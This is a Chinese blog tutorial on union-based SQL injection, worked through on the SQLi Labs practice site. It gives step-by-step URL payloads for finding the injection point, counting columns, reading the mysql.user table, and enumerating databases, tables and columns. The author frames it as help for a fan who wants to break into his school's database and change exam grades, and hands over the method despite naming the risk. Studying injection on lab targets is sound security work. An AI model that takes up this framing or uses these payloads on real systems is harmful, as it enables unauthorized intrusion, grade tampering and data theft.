“有本事你去学校数据库把期末成绩改了“,“好,你等着。“
「作者主页」:士别三日wyx
「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者
「专栏简介」:此文章已录入专栏《网络安全快速入门》
前几天,有个粉丝找到我,说是跟同学吹牛逼,要改学校数据库的期末成绩,问我有没有什么好用的工具。
我说不用工具,有手就行。
考虑到这件事多多少少有一些风险,索性甩给他一篇联合注入使用教程。
“方法就在这里,能不能成功,就看你的造化了!”
联合注入
- 一、初识联合注入
- 二、执行原理
- 1. 后台逻辑分析
- 2. 巧用联合查询
- 3. 空查询
- 三、实战教程
- 四、使用步骤
- 1. 判断注入点类型
- 2. 判断字段数
- 3. 判断显示位
- 4. 脱库
一、初识联合注入
C站规矩:先说是什么,再说为什么。
这里有一个测试网站(SQLi Labs靶场的第一关),功能很简单:在地址栏中输入用户id,页面返回对应的用户信息。
比如,我们输入 ?id=1,页面返回id为1的用户名(Dumb)和密码(Dumb):
输入 ?id=2,页面返回id为2的用户名(Angelina)和密码(I-kill-you):
正常情况下,页面只能返回用户信息,不能返回其他信息。
接下来,我们在地址栏输入联合注入的payload:
?id=0' union select 1,version(),@@datadir -- a
页面返回的数据不再是用户名和密码,而是返回了数据库的版本和安装路径:
这违背了网站原本的用意,除了数据库信息以外,我们可以利用联合注入,让页面返回数据库中的所有数据(理论上)。
看到这里,相信你已经对联合注入有了初步的了解,接下来,我会一步一步的为大家讲解,联合注入究竟是怎么查询到这些数据的。
二、执行原理
1. 后台逻辑分析
测试网站的功能很简单:根据id查询用户名和名:
执行流程分为三步:
- 用户输入参数(用户id)
- 后台执行SQL(查询用户信息)
- 查询结果在前端回显
知道网站的功能逻辑后,我们来了解一下联合注入的核心:union 关键字
2. 巧用联合查询
MySQL提供了 union 关键字,连接多个查询语句,并将查询结果合并,即联合查询。
我们尝试在查询用户信息(id=1)时,使用 union 关键字,连接另外一个查询语句,在地址栏中输入: ?id=1' union select 1,version(),@@datadir -- a
。
程序的执行逻辑如下:
仔细观察一下就会发现,我们已经查询到了其他数据,但页面只能展示第一条数据:
想让页面展示第二条数据,可以使用分页,但这里我们使用另外一种方式:空查询。
提示1:如果不了解联合查询可以查看下面这张流程图,如果看不懂可以自己尝试编写SQL并观察执行结果。
提示2:select 1,version(),@@datadir;
是MySQL查询语句的一种特殊形式,里面用到了两个函数:
- version():返回数据库版本
- @@datadir:返回数据库安装路径
如果你不理解这个查询语句的格式,可以在自己的数据库中执行以下几个SQL,并观察结果:
select database();
select 1;
select 1,2,3;
select 1,database(),version();
3. 空查询
正常的用户id都是从1开始自增的,如果查询的id为0或者是负数,一定是空查询。
在地址栏输入:?id=0' union select 1,version(),@@datadir -- a
程序的执行逻辑如下:
除此之外,我们可以将 union 右侧的查询语句替换成其他内容,以获取数据库中的所有信息。
以上便是联合查询的基本原理,接下来,我们在实战案例中使用一下联合注入。
三、实战教程
还是上面的测试网站(SQLi Labs靶场的第一关),先来测试注入点。
地址栏输入 ?id=1' and 1 -- a
,页面正常显示:
地址栏输入 ?id=1' and 0 -- a
,页面异常(空)显示:
确定注入点:单引号字符型注入。
接下来,开始使用联合注入,地址栏输入以下payload:
?id=0' union select 1,2 -- a
页面报错了……字段数不同
MySQL规定,union 关键字连接的两个查询语句,查询的字段数必须保持一致。
这就意味着,我们在使用联合注入之前,必须先要判断网站的查询语句,查询了几个字段,这里,我们使用 order by 来判断查询的字段数。
order by 关键字可以按照指定字段排序,如果排序的字段不存在,则会报错。
利用这一特性,我们可以从第一个字段开始排序,然后是第二个、第三个……,当页面出现报错时,就可以判断出网站的查询字段数。
先按照第一个字段排序,地址栏输入 ?id=1' order by 1 -- a
再按照第二个字段排序,地址栏输入 ?id=1' order by 2 -- a
再按照第三个字段排序,地址栏输入 ?id=1' order by 3 -- a
再按照第四个字段排序,地址栏输入 ?id=1' order by 4 -- a
第四个字段排序时开始报错,可以确认第四个字段不存在,网站查询语句的查询字段有只有三个。
字段确定以后,我们就可以使用联合查询了,地址栏输入以下payload:
?id=0' union select 1,2,3 -- a
从页面的响应我们可以看到,2和3的位置可以显示出来,1的位置没有显示出来,因此,我们可以在2或者3的位置返回查询结果。
我们将 2 的位置换成一个函数(获取当前使用的数据库),在地址栏输入以下payload:
?id=0' union select 1,database(),3 -- a
页面中显示了当前使用的数据库:
接下来,我们在 2 的位置返回查询语句的结果(数据库的所有用户),在地址栏输入以下payload:
?id=0' union select 1,(select group_concat(user) from mysql.user),3 -- a
提示:
- 使用括号包裹SQL,可以让数据库把括号中的内容当做一个整体执行。
- 字段处使用 group_concat() 函数,可以将查询结果拼接成一个字符串(可以尝试不加此函数来观察页面的响应结果),不了解次函数的同学可以参考我的另一篇文章:MySQL group_concat函数使用详解
我们可以在 2 的位置替换不同的查询语句,来获取数据库中的所有数据。
接下来,我们整理一下联合注入的使用步骤。
四、使用步骤
使用前提:页面有显示位
比如用户登录成功以后,会在页面中显示用户名等信息。
需要注意的是,页面中显示的数据必须是动态数据,不能是写死的。
1. 判断注入点类型
同时满足以下两个条件:
?id=1 and true -- a 正常显示
?id=1 and false -- a 空显示
2. 判断字段数
?id=1 order by 1 -- a 正常显示
?id=1 order by 2 -- a 正常显示
?id=1 order by 3 -- a 报错或异常显示(字段数为2)
3. 判断显示位
?id=0 union select 1,2,3 -- a
4. 脱库
脱库就是获取数据库中所有数据的意思,不了解脱库的同学可以参考我的另一篇文章:MySQL脱库原理详解
爆库
?id=-1 union select 1,(select group_concat(schema_name)from information_schema.schemata)
,3 -- a
爆表
?id=-1 union select 1,(select group_concat(table_name)from information_schema.tableswhere table_schema='security')
,3 -- a
爆字段
?id=-1 union select 1,(select group_concat(column_name)from information_schema.columnswhere table_schema='security' and table_name='users')
,3 -- a
感谢你的点赞、收藏、评论,我是三日,祝你幸福!
“有本事你去学校数据库把期末成绩改了“,“好,你等着。“相关推荐
- 自考和成考会有学计算机的吗,成人高考和自考有什么区别 成考录取后用去学校吗...
很多人想知道成人高考和自考有哪些区别,成考录取后用不用去学校呢?下面小编为大家介绍一下! 成人高考和自考的区别有哪些 一.文凭.成人高考的文凭是各大学的成教学院颁发的;自考的文凭上盖有两个章,一个是主 ...
- 教师计算机操作学校总结,计算机教师期末教学工作总结
计算机教师期末教学工作总结 时间流逝得如此之快,就算追也追不到,相信大家在这段教学实践中都积累了属于自己的教学感悟,该总结这段时间的得与失,为下一阶段的工作奠定基础了.到底应如何做自我评价和自我总结呢 ...
- 学计算机的第一年能带电脑吗,大一新生有必要带电脑去学校吗?辅导员给出建议,家长需提前了解...
原标题:大一新生有必要带电脑去学校吗?辅导员给出建议,家长需提前了解 高考结束后,剩下的就是考生们的志愿填报,还有就是等待进入大学生活了. 姐姐家孩子今年参加的高考,高考结束后就要求妈妈给自己买电脑, ...
- 另辟蹊径:从其他角度去解决数据库问题
墨墨导读:2020数据技术嘉年华于11月21日落下帷幕,大会历时两天,来自全国各地的数据领域学术精英.领袖人物.技术专家.从业者和技术爱好者相聚北京,见证了个人的快速成长.技术的迭代进步.行业的蓬勃发 ...
- 计算机大龄女博士找工作只能去学校吗,34岁离异女博士,到底是励志还是心酸...
原标题:34岁离异女博士,到底是励志还是心酸 我可能真是老了,以前每晚要睡8个小时,现在6.7个小时就醒了.有时候是吓醒,哭醒的.回想我这一路,真是够苦够励志的.如果可以重来,我可能不会出国,在国内结 ...
- 完成新增商品功能当中的一个功能(如何在用户选择商品分类的时候,根据商品分类id去在数据库里面匹配对应的品牌信息,并且返回到浏览器给用户进行选择品牌)
首先说一下一个数据库的知识,如果我们要实现删除或者设置为是否上架的话,其实在数据库里面都是一种相当于更新的操作,为什么这么说呢?因为在数据库里面,你删除它,它只是把下图中圈出来的地方的数值变为0而已. ...
- 学理发是先去学校还是去理发店学基础知识
学理发是先去学校还是去理发店学基础知识 网友一,匿名认为: 学理发还是先去学校比较好,因为所有的事都是理论指导实践,这是一个颠扑不灭的真理. 有很多人学理发的时侯选择去店里学徒,从一无所知想成 ...
- 计算机专业大一新生要带电脑吗,大学新生需要带笔记本电脑去学校么
大学新生需要带笔记本电脑去学校么2020-08-13 13:54:32文/樊越 很多大学新生和家长都会有疑惑,上大学需不需要带电脑呢?互联网社会手机.电脑已经成为了大家的生活必备品,很多大学生上大学时 ...
- 开学带什么去学校?开学必备物品清单
八月末.九月初,相信很多准高中生.大学生都准备陆陆续续开学啦~大家是不是都在网上做攻略,去学校时应该带什么拿到学校去呢?在宿舍不同于在家里,不能随心所欲,晚上时不能想外放声音就外放声音,这时我们就需要 ...
最新文章
- IBM Watson:用人工智能提升美国零售业消费体验
- Spring Boot 中关于 %2e 的 Trick
- VS2013默认打开html文件没有设计、拆分、源视图的解决办法
- httpclient发起https请求以及获取https返回内容
- jps、jinfo、jstat、jstack、jmap、jconsole等命令简介
- Hellohao全网对象存储图床源码
- 检查浏览器支持(Checking browser support),这个是很广泛的一个知识!
- python的常用语句_python常用语句
- 大话集群和负载均衡,太强了!
- 2021年江苏专转本计算机知识点,2021年江苏专转本计算机考试复习知识点归纳内部资料.doc...
- mbedtls | 10 - 数字证书及 X.509 证书标准
- 每秒浮点运算次数FLOPS
- 数据开发者启示录:《我,阿里P7,找不到工作》
- python手机触屏代码_PyGame任何触摸屏
- Python利用bs4批量抓取网页图片并下载保存至本地
- javaScript有一个棋盘,有64个方格,在第一个方格里面放1粒芝麻重量是0.00001kg,第二个里面放2粒,第三个里面放4,棋盘上放的所有芝麻的重量。
- 国产AI绘画海克斯科技——爱作画AIGC开放平台
- 基于启发式算法与单目优化和马尔科夫模型的进出口公司的货物装运策略——整数线性规划 随机模拟
- 电脑考证必须用五笔输入吗
- matlab变换图片四个角黑色,在Matlab的四个角点之间显示图像